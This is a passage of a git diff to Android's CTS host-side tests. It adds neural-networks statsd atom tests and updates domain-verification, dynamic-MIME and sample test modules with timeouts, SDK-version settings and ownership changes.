+             ANeuralNetworksModel_identifyInputsAndOutputs(model, std::size(kModelInputs),
+                                                           std::data(kModelInputs),
+                                                           std::size(kModelOutputs),
+                                                           std::data(kModelOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_finish(model));
+
+    // Create compilation
+    ANeuralNetworksCompilation* compilation = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_create(model, &compilation));
+    CHECK(compilation != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_finish(compilation));
+
+    // Create execution
+    InsufficientMatrixSize output;
+    ANeuralNetworksExecution* execution = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksExecution_create(compilation, &execution));
+    CHECK(execution != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksExecution_setInput(execution, 0, nullptr, &kMatrix1, sizeof(kMatrix1)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksExecution_setInput(execution, 1, nullptr, &kMatrix2, sizeof(kMatrix2)));
+    // This will cause ANeuralNetworksExecution_compute to fail because the provided output buffer
+    // is too small.
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksExecution_setOutput(execution, 0, nullptr, &output, sizeof(output)));
+    CHECK_EQ(ANEURALNETWORKS_OUTPUT_INSUFFICIENT_SIZE, ANeuralNetworksExecution_compute(execution));
+
+    // Cleanup
+    ANeuralNetworksCompilation_free(compilation);
+    ANeuralNetworksModel_free(model);
+}
+
+} // namespace
+
+extern "C" JNIEXPORT void JNICALL
+Java_com_android_nn_stats_app_NnapiDeviceActivity_trigger_1libneuralnetworks_1atoms(
+        JNIEnv*, jobject /*this*/) {
+    compilationSuccess();
+    compilationFailure();
+    executionSuccess();
+    executionFailure();
+
+    // Sleep for a short period of time to make sure all the atoms have been sent.
+    std::this_thread::sleep_for(std::chrono::seconds(1));
+}
diff --git a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
new file mode 100644
index 0000000..7dc4015
--- /dev/null
+++ b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.nn.stats.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * A simple activity which triggers libneuralnetworks.so to push statsd atoms.
+ */
+public class NnapiDeviceActivity extends Activity {
+    private static final String TAG = NnapiDeviceActivity.class.getSimpleName();
+
+    static {
+        System.loadLibrary("neuralnetworkshelper_statsdatom");
+    }
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        Log.i(TAG, "Triggering libneuralnetworks.so to push statsd atoms.");
+        trigger_libneuralnetworks_atoms();
+    }
+
+    private native void trigger_libneuralnetworks_atoms();
+}
diff --git a/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java b/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
new file mode 100644
index 0000000..9930253
--- /dev/null
+++ b/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
@@ -0,0 +1,276 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.nn.host.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.NeuralNetworksCompilationCompleted;
+import com.android.os.AtomsProto.NeuralNetworksCompilationFailed;
+import com.android.os.AtomsProto.NeuralNetworksExecutionCompleted;
+import com.android.os.AtomsProto.NeuralNetworksExecutionFailed;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class NeuralNetworksStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String APP_APK_NAME = "CtsNnapiStatsdAtomApp.apk";
+    private static final String APP_PKG_NAME = "com.android.nn.stats.app";
+    private static final String APP_CLASS_NAME = "NnapiDeviceActivity";
+    private static final String NNAPI_TELEMETRY_FEATURE_NAMESPACE = "nnapi_native";
+    private static final String NNAPI_TELEMETRY_FEATURE_KEY = "telemetry_enable";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installTestApp(getDevice(), APP_APK_NAME, APP_PKG_NAME, mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), APP_PKG_NAME);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    private boolean isNnapiLoggingEnabled() throws Exception {
+        String prop = DeviceUtils.getDeviceConfigFeature(getDevice(),
+                NNAPI_TELEMETRY_FEATURE_NAMESPACE, NNAPI_TELEMETRY_FEATURE_KEY);
+        if (prop == null) return false;
+
+        // Possible "true" values from android-base/parsebool.h.
+        return prop.equals("1") || prop.equals("y") || prop.equals("yes") || prop.equals("on")
+                || prop.equals("true");
+    }
+
+    public void testAppNeuralNetworksCompilationCompletedNative() throws Exception {
+        if (!isNnapiLoggingEnabled()) return;
+
+        final int atomTag = Atom.NEURALNETWORKS_COMPILATION_COMPLETED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), APP_PKG_NAME,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), APP_PKG_NAME, APP_CLASS_NAME, null, null,
+                /* waitTimeMs= */ 5000L);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertTrue(data.size() > 0);
+        NeuralNetworksCompilationCompleted atom = data.get(0).getAtom()
+                .getNeuralnetworksCompilationCompleted();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        // atom.getSessionId() can have any value
+        // atom.getVersionNnapiModule() can have any value
+        assertThat(atom.getModelArchHash()).hasSize(32);
+        assertThat(atom.getDeviceId()).isNotEmpty();
+        assertThat(atom.getInputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertThat(atom.getOutputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        // atom.getFallbackToCpuFromError() can have any value
+        assertFalse(atom.getIntrospectionEnabled());
+        assertFalse(atom.getCacheEnabled());
+        assertFalse(atom.getHasControlFlow());
+        assertFalse(atom.getHasDynamicTemporaries());
+        assertThat(atom.getCompilationTimeSumMillis()).isAtLeast(0);
+        assertThat(atom.getCompilationTimeMinMillis()).isAtLeast(0);
+        assertThat(atom.getCompilationTimeMaxMillis()).isAtLeast(0);
+        assertThat(atom.getCompilationTimeMinMillis()).isAtMost(atom.getCompilationTimeMaxMillis());
+        assertThat(atom.getCompilationTimeSumSquaredMillis()).isAtLeast(0);
+        assertThat(atom.getCompilationTimeCount()).isGreaterThan(0);
+        assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
+
+        for (EventMetricData event : data) {
+            NeuralNetworksCompilationCompleted current = event.getAtom()
+                    .getNeuralnetworksCompilationCompleted();
+            assertThat(atom.getUid()).isEqualTo(current.getUid());
+            assertThat(atom.getSessionId()).isEqualTo(current.getSessionId());
+            assertThat(atom.getVersionNnapiModule()).isEqualTo(current.getVersionNnapiModule());
+        }
+    }
+
+    public void testAppNeuralNetworksCompilationFailedNative() throws Exception {
+        if (!isNnapiLoggingEnabled()) return;
+
+        final int atomTag = Atom.NEURALNETWORKS_COMPILATION_FAILED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), APP_PKG_NAME,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), APP_PKG_NAME, APP_CLASS_NAME, null, null,
+                /* waitTimeMs= */ 5000L);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertTrue(data.size() > 0);
+        NeuralNetworksCompilationFailed atom = data.get(0).getAtom()
+                .getNeuralnetworksCompilationFailed();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        // atom.getSessionId() can have any value
+        // atom.getVersionNnapiModule() can have any value
+        assertThat(atom.getModelArchHash()).hasSize(32);
+        assertThat(atom.getDeviceId()).isNotEmpty();
+        assertThat(atom.getInputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertThat(atom.getOutputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertThat(atom.getErrorCode()).isEqualTo(
+                android.neuralnetworks.Enums.ResultCode.RESULT_CODE_BAD_STATE);
+        assertFalse(atom.getIntrospectionEnabled());
+        assertFalse(atom.getCacheEnabled());
+        assertFalse(atom.getHasControlFlow());
+        assertFalse(atom.getHasDynamicTemporaries());
+        assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
+
+        for (EventMetricData event : data) {
+            NeuralNetworksCompilationFailed current = event.getAtom()
+                    .getNeuralnetworksCompilationFailed();
+            assertThat(atom.getUid()).isEqualTo(current.getUid());
+            assertThat(atom.getSessionId()).isEqualTo(current.getSessionId());
+            assertThat(atom.getVersionNnapiModule()).isEqualTo(current.getVersionNnapiModule());
+        }
+    }
+
+    public void testAppNeuralNetworksExecutionCompletedNative() throws Exception {
+        if (!isNnapiLoggingEnabled()) return;
+
+        final int atomTag = Atom.NEURALNETWORKS_EXECUTION_COMPLETED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), APP_PKG_NAME,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), APP_PKG_NAME, APP_CLASS_NAME, null, null,
+                /* waitTimeMs= */ 5000L);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertTrue(data.size() > 0);
+        NeuralNetworksExecutionCompleted atom = data.get(0).getAtom()
+                .getNeuralnetworksExecutionCompleted();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        // atom.getSessionId() can have any value
+        // atom.getVersionNnapiModule() can have any value
+        assertThat(atom.getModelArchHash()).hasSize(32);
+        assertThat(atom.getDeviceId()).isNotEmpty();
+        assertThat(atom.getMode()).isEqualTo(android.neuralnetworks.Enums.Mode.MODE_SYNC);
+        assertThat(atom.getInputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertThat(atom.getOutputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertFalse(atom.getIntrospectionEnabled());
+        assertFalse(atom.getCacheEnabled());
+        assertFalse(atom.getHasControlFlow());
+        assertFalse(atom.getHasDynamicTemporaries());
+        assertThat(atom.getDurationDriverSumMicros()).isEqualTo(0);
+        assertThat(atom.getDurationDriverMinMicros()).isEqualTo(Long.MAX_VALUE);
+        assertThat(atom.getDurationDriverMaxMicros()).isEqualTo(Long.MIN_VALUE);
+        assertThat(atom.getDurationDriverSumSquaredMicros()).isEqualTo(0);
+        assertThat(atom.getDurationDriverCount()).isEqualTo(0);
+        assertThat(atom.getDurationHardwareSumMicros()).isEqualTo(0);
+        assertThat(atom.getDurationHardwareMinMicros()).isEqualTo(Long.MAX_VALUE);
+        assertThat(atom.getDurationHardwareMaxMicros()).isEqualTo(Long.MIN_VALUE);
+        assertThat(atom.getDurationHardwareSumSquaredMicros()).isEqualTo(0);
+        assertThat(atom.getDurationHardwareCount()).isEqualTo(0);
+        assertThat(atom.getDurationRuntimeSumMicros()).isAtLeast(0);
+        assertThat(atom.getDurationRuntimeMinMicros()).isAtLeast(0);
+        assertThat(atom.getDurationRuntimeMaxMicros()).isAtLeast(0);
+        assertThat(atom.getDurationRuntimeMinMicros()).isAtMost(atom.getDurationRuntimeMaxMicros());
+        assertThat(atom.getDurationRuntimeSumSquaredMicros()).isAtLeast(0);
+        assertThat(atom.getDurationRuntimeCount()).isGreaterThan(0);
+        assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
+
+        for (EventMetricData event : data) {
+            NeuralNetworksExecutionCompleted current = event.getAtom()
+                    .getNeuralnetworksExecutionCompleted();
+            assertThat(atom.getUid()).isEqualTo(current.getUid());
+            assertThat(atom.getSessionId()).isEqualTo(current.getSessionId());
+            assertThat(atom.getVersionNnapiModule()).isEqualTo(current.getVersionNnapiModule());
+        }
+    }
+
+    public void testAppNeuralNetworksExecutionFailedNative() throws Exception {
+        if (!isNnapiLoggingEnabled()) return;
+
+        final int atomTag = Atom.NEURALNETWORKS_EXECUTION_FAILED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), APP_PKG_NAME,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), APP_PKG_NAME, APP_CLASS_NAME, null, null,
+                /* waitTimeMs= */ 5000L);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertTrue(data.size() > 0);
+        NeuralNetworksExecutionFailed atom = data.get(0).getAtom()
+                .getNeuralnetworksExecutionFailed();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        // atom.getSessionId() can have any value
+        // atom.getVersionNnapiModule() can have any value
+        assertThat(atom.getModelArchHash()).hasSize(32);
+        assertThat(atom.getDeviceId()).isNotEmpty();
+        assertThat(atom.getMode()).isEqualTo(android.neuralnetworks.Enums.Mode.MODE_SYNC);
+        assertThat(atom.getInputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertThat(atom.getOutputDataClass())
+                .isEqualTo(android.neuralnetworks.Enums.DataClass.DATA_CLASS_FLOAT32);
+        assertThat(atom.getErrorCode()).isEqualTo(
+                android.neuralnetworks.Enums.ResultCode.RESULT_CODE_OUTPUT_INSUFFICIENT_SIZE);
+        assertFalse(atom.getIntrospectionEnabled());
+        assertFalse(atom.getCacheEnabled());
+        assertFalse(atom.getHasControlFlow());
+        assertFalse(atom.getHasDynamicTemporaries());
+        assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
+
+        for (EventMetricData event : data) {
+            NeuralNetworksExecutionFailed current = event.getAtom()
+                    .getNeuralnetworksExecutionFailed();
+            assertThat(atom.getUid()).isEqualTo(current.getUid());
+            assertThat(atom.getSessionId()).isEqualTo(current.getSessionId());
+            assertThat(atom.getVersionNnapiModule()).isEqualTo(current.getVersionNnapiModule());
+        }
+    }
+}
diff --git a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
index af062db..1aa0941 100644
--- a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
+++ b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
@@ -44,7 +44,7 @@
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class QuiescentBootTests extends BaseHostJUnit4Test {
-    private static final int REBOOT_TIMEOUT = 60000;
+    private static final int REBOOT_TIMEOUT = 120000;
 
     private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
     private static final String CMD_DUMPSYS_POWER = "dumpsys power --proto";
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
index 94d712f..80caeb5 100644
--- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -36,6 +36,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
 }
@@ -47,6 +48,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
 }
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d84..9f95449 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@
     srcs: [ "src/**/*.kt" ],
     test_suites: [
         "cts",
+        "gts",
         "device-tests",
     ],
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
+    min_sdk_version: "4",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376..ce89e2b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.packagemanager.verify.domain.device.standalone"
-    >
+          xmlns:tools="http://schemas.android.com/tools"
+          package="com.android.cts.packagemanager.verify.domain.device.standalone"
+          >
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+              tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+              />
 
     <application android:label="Device Test App" android:testOnly="true">
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 95b86f5..e7afa10 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,6 +15,7 @@
   -->
 <configuration description="Config for CTS domain verification device standalone test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
@@ -23,6 +24,7 @@
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="check-min-sdk" value="true" />
         <option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010..9401443a 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,9 @@
 package com.android.cts.packagemanager.verify.domain.device.standalone
 
 import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
 import com.android.compatibility.common.util.SystemUtil
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
@@ -26,6 +29,8 @@
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
 import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
@@ -33,6 +38,14 @@
 @RunWith(Parameterized::class)
 class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
 
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun assumeAtLeastS() {
+            assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+        }
+    }
+
     @Test
     fun launchVerified() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -74,6 +87,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun launchSelectedPreservedOnUpdate() {
         setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
@@ -162,6 +176,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun disableHandlingWhenVerifiedPreservedOnUpdate() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -192,6 +207,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun disableHandlingWhenSelectedPreservedOnUpdate() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18..874d299 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@
     name: "CtsDomainVerificationAndroidConstantsLibrary",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.kt"],
+    min_sdk_version: "31",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/dynamicmime/OWNERS b/hostsidetests/packagemanager/dynamicmime/OWNERS
index 3f48dcf..f236893 100644
--- a/hostsidetests/packagemanager/dynamicmime/OWNERS
+++ b/hostsidetests/packagemanager/dynamicmime/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 36137
-tantoshchuk@google.com
+preranap@google.com
+mhasank@google.com
diff --git a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
index a26de84..d6fb65e 100644
--- a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
+++ b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
@@ -40,6 +40,8 @@
     private static final String PACKAGE_TEST_APP = "android.dynamicmime.testapp";
     private static final String PACKAGE_REBOOT_TESTS = PACKAGE_TEST_APP + ".reboot";
 
+    private static final int SETTINGS_WRITE_TIMEOUT_MS = 10_000;
+
     @Test
     public void testGroupWithExactType() throws DeviceNotAvailableException {
         runTestWithReboot("SingleAppTest", "testGroupWithExactType");
@@ -213,6 +215,7 @@
     private void runTestWithReboot(String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         runPreReboot(testClassName, testMethodName);
+        waitForSettingsWrite();
         getDevice().reboot();
         runPostReboot(testClassName, testMethodName);
     }
@@ -223,6 +226,13 @@
             testMethodName);
     }
 
+    private void waitForSettingsWrite() {
+        try {
+            Thread.sleep(SETTINGS_WRITE_TIMEOUT_MS);
+        } catch (InterruptedException ignored) {
+        }
+    }
+
     private void runPreReboot(String testClassName, String testMethodName)
         throws DeviceNotAvailableException {
         runDeviceTests(PACKAGE_TEST_APP, PACKAGE_REBOOT_TESTS + ".PreReboot" + testClassName,
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index fb63a62..19bf606 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -33,5 +33,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    platform_apis: true,
 }
diff --git a/hostsidetests/sample/AndroidTest.xml b/hostsidetests/sample/AndroidTest.xml
index 80189da..2878a31 100644
--- a/hostsidetests/sample/AndroidTest.xml
+++ b/hostsidetests/sample/AndroidTest.xml
@@ -15,6 +15,8 @@
 -->
 <configuration description="Config for CTS Sample host test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Change the value field of `component` into an appropriate one.
+         See README for the full list. -->
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/hostsidetests/sample/README b/hostsidetests/sample/README
new file mode 100644
index 0000000..71dbbce
--- /dev/null
+++ b/hostsidetests/sample/README
@@ -0,0 +1,4 @@
+This 'sample' folder is a sample which illustrates the basic structure and contents of a CTS
+hostside module.
+
+Please refer to 'cts/tests/sample/README' for more details on how to use this sample.
\ No newline at end of file
diff --git a/hostsidetests/sample/TEST_MAPPING b/hostsidetests/sample/TEST_MAPPING
new file mode 100644
index 0000000..e9f53f7
--- /dev/null
+++ b/hostsidetests/sample/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSampleHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java
index f8f1f3a..154ab7f 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java
@@ -21,10 +21,12 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner.TestMetrics;
 import com.android.tradefed.testtype.IDeviceTest;
 
-import org.junit.runner.RunWith;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Scanner;
 
@@ -67,6 +69,11 @@
      */
     private static final String TEST_STRING = "SampleTestString";
 
+    /**
+     * A rule annotation that allows to log metrics in test cases.
+     */
+    @Rule public TestMetrics mMetrics = new TestMetrics();
+
     private ITestDevice mDevice;
 
     @Override
@@ -109,4 +116,12 @@
         // Assert the logged string matches the test string.
         assertEquals("Incorrect test string", TEST_STRING, testString);
     }
+
+    /**
+     * Documentation: https://source.android.com/devices/tech/test_infra/tradefed/testing/through-tf/report-metrics
+     */
+    @Test
+    public void testMetrics() {
+        mMetrics.addTestMetric("somekey", "some_values");
+    }
 }
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java
deleted file mode 100644
index bb5d72d..0000000
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
